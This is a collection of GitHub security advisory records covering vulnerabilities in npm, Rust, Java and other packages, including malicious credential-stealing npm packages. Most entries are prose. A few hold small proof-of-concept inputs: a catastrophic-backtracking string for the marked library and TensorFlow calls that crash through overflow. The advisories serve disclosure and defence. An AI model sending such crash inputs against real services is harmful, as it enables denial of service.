TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-fx5p-f64h-93xc
Summary:  Opened exploitable ports in default docker-compose.yaml in go-ipfs
Severity: MODERATE
CVSS score: 0
Published: 2022-04-04T21:23:55Z

### Impact

Allows admin API access to the IPFS node.

### Who ?

This affects people running the  [docker-compose.yaml](https://github.com/ipfs/go-ipfs/blob/master/docker-compose.yaml) service in an environment where the docker host is directly attached to a public or untrusted IP.  In the vulnerable version, the private API endpoint is publicly forwarded by exposing it as `0.0.0.0:5001` on the host machine.  

If the host machine is hidden behind a firewall or NAT (and the LAN is trusted for NAT), this is not an immediate issue because of the protection from the firewall or NAT.  That said, we still recommend users update to follow security best practices of not putting unnecessary dependency on a working firewall.

### Patches
This issue is in [docker-compose.yaml](https://github.com/ipfs/go-ipfs/blob/master/docker-compose.yaml).  Users need to replace their current `docker-compose.yaml` file with a version `0.12.1` or later.

There is no need to update any of the binaries. Users running previous versions like `0.12.0` or earlier can download the `0.12.1` `docker-compose.yaml` file.  You can replace a vulnerable `docker-compose.yaml` file with a the new one with:

```
curl https://raw.githubusercontent.com/ipfs/go-ipfs/v0.12.1/docker-compose.yaml > docker-compose.yaml
```

### How to test if you are vulnerable
#### Binding check on the host
On the host machine, while IPFS is running, run as root:

```bash
netstat -lnp | grep ":5001"
```

The output will be a list of listeners bound to `:5001`.
You then need to check that those listeners are private and preferably even localhost IPs.
⚠️ If this listener is on `0.0.0.0` or a public IP you are very likely vulnerable.

#### Remote hailing
While IPFS is running, you can try to contact the API from a remote machine. (Replace `1.2.3.4` with your node public IP.  Or if you want to test in an untrusted NAT, then substitute the LAN IP instead.)

```bash
curl -X POST http://1.2.3.4:5001/api/v0/version
```

⚠️ If you see any json outputted (e.g.,  `{"Commit": "<string>","Golang": "<string>","Repo": "<string>","System": "<string>","Version": "<string>"}`), then you are vulnerable.

If it **fails**, then you are safe.

### For more information
If you have any questions or comments about this advisory:
* Please first read https://docs.ipfs.io/reference/http/api/ about best practices
* Ask in [IPFS Discord #ipfs-chatter](https://discord.gg/ipfs)
* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)
Vulnerability: GHSA-65j7-66p7-9xgf
Summary: Malicious Package in font-scrubber
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T21:51:55Z

Version 1.2.2 of `font-scrubber` contains malicious code as a postinstall script. The package attempts to upload sensitive files from the system to a remote server. The files include configuration files, command history logs, SSH keys and /etc/passwd.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-rv7p-mmwq-x674
Summary: Improper Input Validation and Code Injection in pdf-image
Aliases: CVE-2020-8132
Severity: HIGH
CVSS score: 9.8
CWE: CWE-94, CWE-20
Published: 2021-05-10T18:46:58Z

Lack of input validation in pdf-image npm package version &lt;= 2.0.0 may allow an attacker to run arbitrary code if PDF file path is constructed based on untrusted user input.
Vulnerability: GHSA-7x22-pmw5-66mq
Summary: Cross-site Scripting in showdoc
Aliases: CVE-2021-4172
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2022-02-01T00:44:14Z

Stored XSS via upload attachment with format .svg in File Library.
Vulnerability: GHSA-2mxr-89gf-rc4v
Summary: Read permissions not enforced for client provided filter expressions in Elide.
Aliases: CVE-2020-5289
Severity: HIGH
CVSS score: 6.8
CWE: CWE-285
Published: 2020-03-30T20:09:58Z

### Impact
It is possible for an adversary to "guess and check" the value of a model field they do not have access to assuming they can read at least one other field in the model.  The adversary can construct filter expressions for an inaccessible field to filter a collection.  The presence or absence of models in the returned collection can be used to reconstruct the value of the inaccessible field.

For example, a User model has two fields: _name_ and _role_.  The adversary has read permissions to see the _name_ field of the User collection but not the _role_.  By constructing a filter like the one below, the adversary can determine which users have admin role by presence or absence in the returned collection:
`filter=role=="Admin"`

### Patches
Resolved in Elide 4.5.14 and greater.

### Workarounds
The adversary can only access the fields if a model includes fields with different read permission levels (some less secure and some more secure).  Model security can be adjusted by restricting read permissions on existing models.

### References
Fixed in https://github.com/yahoo/elide/pull/1236

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [elide](https://github.com/yahoo/elide)
* Contact us at [spectrum](https://spectrum.chat/elide?tab=posts)
Vulnerability: GHSA-6xm4-p6r2-mwrc
Summary: Malicious Package in cuffer-xor
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T22:47:30Z

Version 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-5796-p3m6-9qj4
Summary: Denial of Service (DoS) in Cloud Foundry Routing
Aliases: CVE-2019-11289
Severity: HIGH
CVSS score: 7.5
CWE: CWE-20
Published: 2021-05-18T15:31:39Z

Cloud Foundry Routing, all versions before 0.193.0, does not properly validate nonce input. A remote unauthorized malicious user could forge a route service request using an invalid nonce that will cause the Gorouter to crash.
Vulnerability: GHSA-3jfq-g458-7qm9
Summary: Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization
Aliases: CVE-2021-32804
Severity: HIGH
CVSS score: 8.2
CWE: CWE-22
Published: 2021-08-03T19:06:36Z

### Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

`node-tar` aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. 

This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. 

### Patches

3.2.2 || 4.4.14 || 5.0.6 || 6.1.1

NOTE: an adjacent issue [CVE-2021-32803](https://github.com/npm/node-tar/security/advisories/GHSA-r628-mhmh-qjhw) affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your `node-tar` use case.

### Workarounds

Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths.

```js
const path = require('path')
const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  // either add this function...
  onentry: (entry) => {
    if (path.isAbsolute(entry.path)) {
      entry.path = sanitizeAbsolutePathSomehow(entry.path)
      entry.absolute = path.resolve(entry.path)
    }
  },

  // or this one
  filter: (file, entry) => {
    if (path.isAbsolute(entry.path)) {
      return false
    } else {
      return true
    }
  }
})
```

Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.
Vulnerability: GHSA-hf44-3mx6-vhhw
Summary: Navigate endpoint is vulnerable to regex injection that may lead to Denial of Service.
Aliases: CVE-2021-29506
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-400
Published: 2021-05-19T23:02:57Z

### Impact
The regex injection that may lead to Denial of Service.

### Patches
Will be patched in 2.4 and 3.0

### Workarounds
Versions lower than 2.x are only affected if the navigation module is added

### References
See this pull request for the fix: https://github.com/graphhopper/graphhopper/pull/2304

If you have any questions or comments about this advisory please [send us an Email](https://www.graphhopper.com/contact-form/) or create a topic [here](https://discuss.graphhopper.com/).
Vulnerability: GHSA-gc6c-5v9w-xmhw
Summary: Downloads Resources over HTTP in nodewebkit
Aliases: CVE-2016-10580
Severity: HIGH
CVSS score: 0
CWE: CWE-311
Published: 2019-02-18T23:51:27Z

Affected versions of `nodewebkit` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nodewebkit`.


## Recommendation

No patch is currently available, and the package author has deprecated this package. 

The best path forward in mitigating this vulnerability is to use the [official installer](https://www.npmjs.com/nw) instead of this package, as per the package author's instructions.
Vulnerability: GHSA-xwqw-rf2q-xmhf
Summary: Cross-Site Scripting in buefy
Severity: HIGH
CVSS score: 0
CWE: CWE-79
Published: 2020-09-01T21:23:38Z

Versions of buefy prior to 0.7.2 are vulnerable to Cross-Site Scripting, allowing attackers to manipulate the DOM and execute remote code. The autocomplete list renders user input as HTML without encoding.


## Recommendation

Upgrade to version 0.7.2 or later.
Vulnerability: GHSA-xgr2-v94m-rc9g
Summary: High severity vulnerability that affects activesupport
Aliases: CVE-2013-0333
Severity: HIGH
CVSS score: 0
Published: 2017-10-24T18:33:37Z

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.
Vulnerability: GHSA-4pmg-jgm5-3jg6
Summary: Malicious Package in erquest
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T21:16:26Z

All versions of `erquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.


## Recommendation

Remove the package from your dependencies and always ensure package names are typed correctly upon installation.
Vulnerability: GHSA-fm87-46vv-jqrr
Summary: Path Traversal in html-pages
Aliases: CVE-2018-3744
Severity: HIGH
CVSS score: 0
CWE: CWE-35
Published: 2018-09-18T13:45:07Z

Versions of `html-pages` before 2.1.0 are vulnerable to path traversal.


## Recommendation

Update to version 2.1.0 or later.
Vulnerability: GHSA-4wj3-p7hj-cvx8
Summary: Double free in ordnung
Aliases: CVE-2020-35891
Severity: HIGH
CVSS score: 7.5
CWE: CWE-415
Published: 2021-08-25T20:48:47Z

An issue was discovered in the ordnung crate through 2020-09-03 for Rust. compact::Vec violates memory safety via a remove() double free.
Vulnerability: GHSA-xcf7-q56x-78gh
Summary: Connection descriptor exhaustion in proxyproto
Aliases: CVE-2021-23409
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2021-07-26T21:23:49Z

The package `github.com/pires/go-proxyproto` before 0.6.0 are vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header.
Vulnerability: GHSA-3fvf-2gp4-89wq
Summary: Possibility for Denial of Service by overwriting PHP files with language exports
Severity: MODERATE
CVSS score: 0
Published: 2022-03-18T23:17:15Z

### Impact
Laravel Translation Manager didn't check the locale name, which allowed directory traversal when exporting files. The content would be a PHP file returning an array of translations, but this could lead to unexpected results, like denial of service. Access to the Laravel Translation Manager is required, because a new locale would have to be added and published.

### Patches
Version 0.6.2 fixes this issue.

### Workarounds
Only allow trusted admins to publish/edit translations.

### References
https://github.com/barryvdh/laravel-translation-manager/pull/417

### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/barryvdh/laravel-translation-manager
* Email me (see Github profile)

### Credits
Found and reported by [Natalia Trojanowska](https://www.linkedin.com/in/trojanowskanatalia/)
Vulnerability: GHSA-xfhh-rx56-rxcr
Summary: Path Traversal vulnerability that affects yard
Aliases: CVE-2019-1020001
Severity: HIGH
CVSS score: 7.5
CWE: CWE-22
Published: 2019-07-02T15:28:38Z

## Possible arbitrary path traversal and file access via `yard server`

### Impact

A path traversal vulnerability was discovered in YARD <= 0.9.19 when using `yard server` to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.

Thanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.

### Patches

Please upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.

### Workarounds

For users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via `yard server -s webrick`), as can certain rules in your webserver configuration.
Vulnerability: GHSA-2jc8-4r6g-282j
Summary: Moderate severity vulnerability that affects python-gnupg
Aliases: CVE-2014-1928
Severity: MODERATE
CVSS score: 0
CWE: CWE-20
Published: 2018-11-06T23:13:02Z

The shell_quote function in python-gnupg 0.3.5 does not properly escape characters, which allows context-dependent attackers to execute arbitrary code via shell metacharacters in unspecified vectors, as demonstrated using "\" (backslash) characters to form multi-command sequences, a different vulnerability than CVE-2014-1927.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.
Vulnerability: GHSA-gpch-h32j-gx6x
Summary: Insufficiently Protected Credentials in Reactor Netty
Aliases: CVE-2020-5404
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-522
Published: 2022-02-10T20:24:17Z

The HttpClient from Reactor Netty, versions 0.9.x prior to 0.9.5, and versions 0.8.x prior to 0.8.16, may be used incorrectly, leading to a credentials leak during a redirect to a different domain. In order for this to happen, the HttpClient must have been explicitly configured to follow redirects.
Vulnerability: GHSA-m6cp-vxjx-65j6
Summary: SessionListener can prevent a session from being invalidated breaking logout
Aliases: CVE-2021-34428
Severity: LOW
CVSS score: 3.5
CWE: CWE-613
Published: 2021-06-23T20:23:04Z

### Impact
If an exception is thrown from the `SessionListener#sessionDestroyed()` method, then the session ID is not invalidated in the session ID manager.   On deployments with clustered sessions and multiple contexts this can result in a session not being invalidated.  This can result in an application used on a shared computer being left logged in.

There is no known path for an attacker to induce such an exception to be thrown, thus they must rely on an application to throw such an exception.    The OP has also identified that during the call to `sessionDestroyed`, the `getLastAccessedTime()` throws an `IllegalStateException`, which potentially contrary to the servlet spec, so applications calling this method may always throw and fail to log out.  If such an application was only tested on a non clustered test environment, then it may be deployed on a clustered environment with multiple contexts and fail to log out.

### Workarounds
The application should catch all Throwables within their `SessionListener#sessionDestroyed()` implementations.
Vulnerability: GHSA-pgwj-prpq-jpc2
Summary: Check service IDs are valid
Aliases: CVE-2019-10910
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-89
Published: 2019-11-18T17:27:31Z

In Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, when service ids allow user input, this could allow for SQL Injection and remote code execution. This is related to symfony/dependency-injection.
Vulnerability: GHSA-p8xr-4v2c-rvgp
Summary: High severity vulnerability that affects org.apache.hbase:hbase
Aliases: CVE-2015-1836
Severity: HIGH
CVSS score: 7.3
CWE: CWE-284
Published: 2018-10-18T18:04:50Z

Apache HBase 0.98 before 0.98.12.1, 1.0 before 1.0.1.1, and 1.1 before 1.1.0.1, as used in IBM InfoSphere BigInsights 3.0, 3.0.0.1, and 3.0.0.2 and other products, uses incorrect ACLs for ZooKeeper coordination state, which allows remote attackers to cause a denial of service (daemon outage), obtain sensitive information, or modify data via unspecified client traffic.
Vulnerability: GHSA-v95x-h953-x7fg
Summary: Malicious Package in k0a_multer
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T19:47:55Z

This package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.


## Recommendation

Remove the package from your environment. There are no indications of further compromise.
Vulnerability: GHSA-2xwp-m7mq-7q3r
Summary: CLI does not correctly implement strict mode
Severity: LOW
CVSS score: 0
CWE: CWE-326
Published: 2020-10-28T17:05:38Z

In the affected versions, the AWS Encryption CLI operated in "discovery mode" even when "strict mode" was specified. Although decryption only succeeded if the user had permission to decrypt with at least one of the CMKs, decryption could be successful using a CMK that was not included in the user-defined set when the CLI was operating in "strict mode."

Affected users should upgrade to Encryption CLI v1.8.x or v2.1.x as soon as possible.
Vulnerability: GHSA-hx46-vwmx-wx95
Summary: High severity vulnerability that affects actionpack
Severity: HIGH
CVSS score: 0
Published: 2018-08-13T20:48:25Z

Withdrawn, accidental duplicate publish.

Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.
Vulnerability: GHSA-8fr3-hfg3-gpgp
Summary: Open Redirect in node-forge
Aliases: CVE-2022-0122
Severity: MODERATE
CVSS score: 0
CWE: CWE-601
Published: 2022-01-21T23:36:19Z

parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
Vulnerability: GHSA-w5r2-gvgf-mpm8
Summary: Improper Encoding or Escaping of Output and Injection in LibreNMS
Aliases: CVE-2019-12463
Severity: HIGH
CVSS score: 8.8
CWE: CWE-116, CWE-74
Published: 2019-10-11T18:43:13Z

An issue was discovered in LibreNMS 1.50.1. The scripts that handle graphing options (includes/html/graphs/common.inc.php and includes/html/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqli_real_escape_string, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php and html/graph-realtime.php scripts. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, disclosing file content, denial of service, or writing arbitrary files. NOTE, relative to CVE-2019-10665, this requires authentication and the pathnames differ.
Vulnerability: GHSA-mgff-xpg3-3gwc
Summary: Malicious Package in bsae-x
Severity: CRITICAL
CVSS score: 9.1
CWE: CWE-506
Published: 2020-09-03T19:42:25Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-r683-j2x4-v87g
Summary: node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
Aliases: CVE-2022-0235
Severity: HIGH
CVSS score: 8.8
CWE: CWE-200, CWE-173, CWE-601
Published: 2022-01-21T23:55:52Z

node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
Vulnerability: GHSA-2jhh-5xm2-j4gf
Summary: Improper Authentication in HashiCorp Nomad
Aliases: CVE-2021-43415
Severity: HIGH
CVSS score: 8.8
CWE: CWE-287
Published: 2021-12-10T20:17:55Z

HashiCorp Nomad and Nomad Enterprise up to 1.0.13, 1.1.7, and 1.2.0, with the QEMU task driver enabled, allowed authenticated users with job submission capabilities to bypass the configured allowed image paths. Fixed in 1.0.14, 1.1.8, and 1.2.1.
Vulnerability: GHSA-32j9-6qqm-mq9g
Summary: Unhandled case in node-lmdb
Aliases: CVE-2022-21164
Severity: HIGH
CVSS score: 7.5
CWE: CWE-241, CWE-703
Published: 2022-03-17T00:00:27Z

The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable `ToString` value, which will cause a crash during type check.
Vulnerability: GHSA-x5m6-jh4r-34mv
Summary: Arbitrary File Overwrite in hub
Aliases: CVE-2014-0177
Severity: MODERATE
CVSS score: 4.4
CWE: CWE-377
Published: 2022-02-15T01:07:53Z

The am function in lib/hub/commands.rb in hub before 1.12.1 allows local users to overwrite arbitrary files via a symlink attack on a temporary patch file.
Vulnerability: GHSA-j7cg-h9v9-6vqp
Summary: "Prototype Pollution in irrelon-path and @irrelon/path"
Aliases: CVE-2020-7708
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-915
Published: 2021-05-06T17:29:19Z

The package irrelon-path before 4.7.0; the package @irrelon/path before 4.7.0 are vulnerable to Prototype Pollution via the set, unSet, pushVal and pullVal functions.
Vulnerability: GHSA-6v6p-p97v-g2p7
Summary: Out-of-bounds Write in OpenCV
Aliases: CVE-2017-12603
Severity: HIGH
CVSS score: 8.8
CWE: CWE-787
Published: 2021-10-12T22:01:44Z

OpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an invalid write in the cv::RLByteStream::getBytes function in modules/imgcodecs/src/bitstrm.cpp when reading an image file by using cv::imread, as demonstrated by the 2-opencv-heapoverflow-fseek test case.
Vulnerability: GHSA-gxcm-36qw-j29v
Summary: SQL Injection in tribalsystems/zenario
Aliases: CVE-2021-27672
Severity: MODERATE
CVSS score: 4.9
CWE: CWE-89
Published: 2021-06-08T20:12:02Z

SQL Injection in the "admin_boxes.ajax.php" component of Tribal Systems Zenario CMS v8.8.52729 allows remote attackers to obtain sesnitive database information by injecting SQL commands into the "cID" parameter when creating a new HTML component.
Vulnerability: GHSA-7rg2-qxmf-hhx9
Summary: Session fixation in express-openid-connect
Aliases: CVE-2021-41246
Severity: MODERATE
CVSS score: 4.6
CWE: CWE-384
Published: 2021-12-09T19:08:58Z

### Overview

Versions `2.3.0` up to and including `2.5.1` do not regenerate the session id and session cookie when user logs in.  This behavior opens up the application to various session fixation vulnerabilities.

### Am I affected?
You are affected by this vulnerability if you are using `express-openid-connect` version `2.3.0` up to and including `2.5.1` and use a custom session store.


### How to fix that?
Upgrade to version `>= 2.5.2`.

### Will this update impact my users?
The fix provided in patch will not affect your users.
Vulnerability: GHSA-xrqm-fpgr-6hhx
Summary: Overflow/crash in `tf.range`
Aliases: CVE-2021-41202
Severity: MODERATE
CVSS score: 5.5
CWE: CWE-681
Published: 2021-11-10T19:13:16Z

### Impact
While calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:

```python
import tensorflow as tf

tf.sparse.eye(num_rows=9223372036854775807, num_columns=None)
```
  
Similarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.

```python
import tensorflow as tf

tf.range(start=-1e+38, limit=1)
```

### Patches
We have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).
Vulnerability: GHSA-5v2h-r2cx-5xgj
Summary: Inefficient Regular Expression Complexity in marked
Aliases: CVE-2022-21681
Severity: HIGH
CVSS score: 7.5
CWE: CWE-1333
Published: 2022-01-14T21:04:46Z

### Impact

_What kind of vulnerability is it?_

Denial of service.

The regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings.
PoC is the following.

```javascript
import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
```

_Who is impacted?_

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

### Patches

_Has the problem been patched?_

Yes

_What versions should users upgrade to?_

4.0.10

### Workarounds

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Do not run untrusted markdown through marked or run marked on a [worker](https://marked.js.org/using_advanced#workers) thread and set a reasonable time limit to prevent draining resources.

### References

_Are there any links users can visit to find out more?_

- https://marked.js.org/using_advanced#workers
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

### For more information

If you have any questions or comments about this advisory:

* Open an issue in [marked](https://github.com/markedjs/marked)
Vulnerability: GHSA-3wxq-7r8m-qpmg
Summary: Hijacked Environment Variables in ffmepg
Aliases: CVE-2017-16068
Severity: MODERATE
CVSS score: 0
CWE: CWE-506
Published: 2018-08-29T23:56:30Z

The `ffmepg` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. 

All versions have been unpublished from the npm registry.


## Recommendation

As this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. 

If you have found this installed in your environment, you should:
1. Delete the package
2. Clear your npm cache
3. Ensure it is not present in any other package.json files on your system
4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. 

Additionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.
Vulnerability: GHSA-c7hr-j4mj-j2w6
Summary: Verification Bypass in jsonwebtoken
Aliases: CVE-2015-9235
Severity: CRITICAL
CVSS score: 0
CWE: CWE-20
Published: 2018-10-09T00:38:30Z

Versions 4.2.1 and earlier of `jsonwebtoken` are affected by a verification bypass vulnerability. This is a result of weak validation of the JWT algorithm type, occuring when an attacker is allowed to arbitrarily specify the JWT algorithm.




## Recommendation

Update to version 4.2.2 or later.
Vulnerability: GHSA-f5mh-hq6h-whxv
Summary: Directory Traversal in bitty
Aliases: CVE-2016-10561
Severity: MODERATE
CVSS score: 0
CWE: CWE-22
Published: 2019-02-18T23:38:29Z

Affected versions of `bitty` are vulnerable to directory traversal via the URL path in GET requests.


## Recommendation

The `bitty` package is not currently maintained, and has not seen an update since 2015. 

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality, such as [serve](https://www.npmjs.com/package/serve).
Vulnerability: GHSA-92cx-4xm7-jr9m
Summary: Use After Free in rusqlite
Aliases: CVE-2021-45713
Severity: HIGH
CVSS score: 7.5
CWE: CWE-416
Published: 2022-01-06T22:02:56Z

An issue was discovered in the rusqlite crate 0.25.x before 0.25.4 and 0.26.x before 0.26.2 for Rust. create_scalar_function has a use-after-free.
Vulnerability: GHSA-h9rv-jmmf-4pgx
Summary: Cross-Site Scripting in serialize-javascript
Aliases: CVE-2019-16769
Severity: MODERATE
CVSS score: 4.2
CWE: CWE-79
Published: 2019-12-05T18:44:37Z

Versions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.


## Recommendation

Upgrade to version 2.1.1 or later.
Vulnerability: GHSA-39xg-8p43-h76x
Summary: Data races in reffers
Aliases: CVE-2020-36203
Severity: MODERATE
CVSS score: 4.7
CWE: CWE-362, CWE-787
Published: 2021-08-25T20:51:40Z

An issue was discovered in the reffers crate through 2020-12-01 for Rust. ARefss can contain a !Send,!Sync object, leading to a data race and memory corruption.
Vulnerability: GHSA-f8fh-8rgm-227h
Summary: OS Command Injection in node-prompt-here
Aliases: CVE-2020-7602
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-78
Published: 2021-05-07T16:16:16Z

node-prompt-here through 1.0.1 allows execution of arbitrary commands. The &quot;runCommand()&quot; is called by &quot;getDevices()&quot; function in file &quot;linux/manager.js&quot;, which is required by the &quot;index. process.env.NM_CLI&quot; in the file &quot;linux/manager.js&quot;. This function is used to construct the argument of function &quot;execSync()&quot;, which can be controlled by users without any sanitization.
Vulnerability: GHSA-2mh8-gx2m-mr75
Summary: Out-of-Memory Error in Bouncy Castle Crypto
Aliases: CVE-2019-17359
Severity: MODERATE
CVSS score: 0
CWE: CWE-770
Published: 2019-10-17T18:15:16Z

The ASN.1 parser in Bouncy Castle Crypto (aka BC Java) 1.63 can trigger a large attempted memory allocation, and resultant OutOfMemoryError error, via crafted ASN.1 data. This is fixed in 1.64.
Vulnerability: GHSA-xjqr-g762-pxwp
Summary: Improper limitation of path name
Aliases: CVE-2021-20206
Severity: HIGH
CVSS score: 7.2
CWE: CWE-20, CWE-22
Published: 2022-02-15T01:57:18Z

An improper limitation of path name flaw was found in containernetworking/cni in versions before 0.8.1. When specifying the plugin to load in the 'type' field in the network configuration, it is possible to use special elements such as "../" separators to reference binaries elsewhere on the system. This flaw allows an attacker to execute other existing binaries other than the cni plugins/types, such as 'reboot'. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.
Vulnerability: GHSA-836g-5fr5-fgcr
Summary: Missing Authentication for Critical Function in Apache TomEE
Aliases: CVE-2020-11969
Severity: HIGH
CVSS score: 9.8
CWE: CWE-306
Published: 2022-02-10T23:07:37Z

If Apache TomEE is configured to use the embedded ActiveMQ broker, and the broker URI includes the useJMX=true parameter, a JMX port is opened on TCP port 1099, which does not include authentication. This affects Apache TomEE 8.0.0-M1 - 8.0.1, Apache TomEE 7.1.0 - 7.1.2, Apache TomEE 7.0.0-M1 - 7.0.7, Apache TomEE 1.0.0 - 1.7.5.
Vulnerability: GHSA-fg3j-q579-v8x4
Summary: Uncontrolled memory consumption
Aliases: CVE-2021-31811
Severity: MODERATE
CVSS score: 5.5
CWE: CWE-789, CWE-770
Published: 2021-06-15T15:54:32Z

In Apache PDFBox, a carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.23 and prior 2.0.x versions.
Vulnerability: GHSA-24p5-x9f9-vvpx
Summary: Cross-site Scripting in baserCMS
Aliases: CVE-2021-20681
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2021-06-08T20:10:27Z

Improper neutralization of JavaScript input in the page editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.
Vulnerability: GHSA-xqfm-ff6g-24c7
Summary: Directory Traversal in dgard8.lab6
Aliases: CVE-2017-16218
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2018-07-23T20:39:44Z

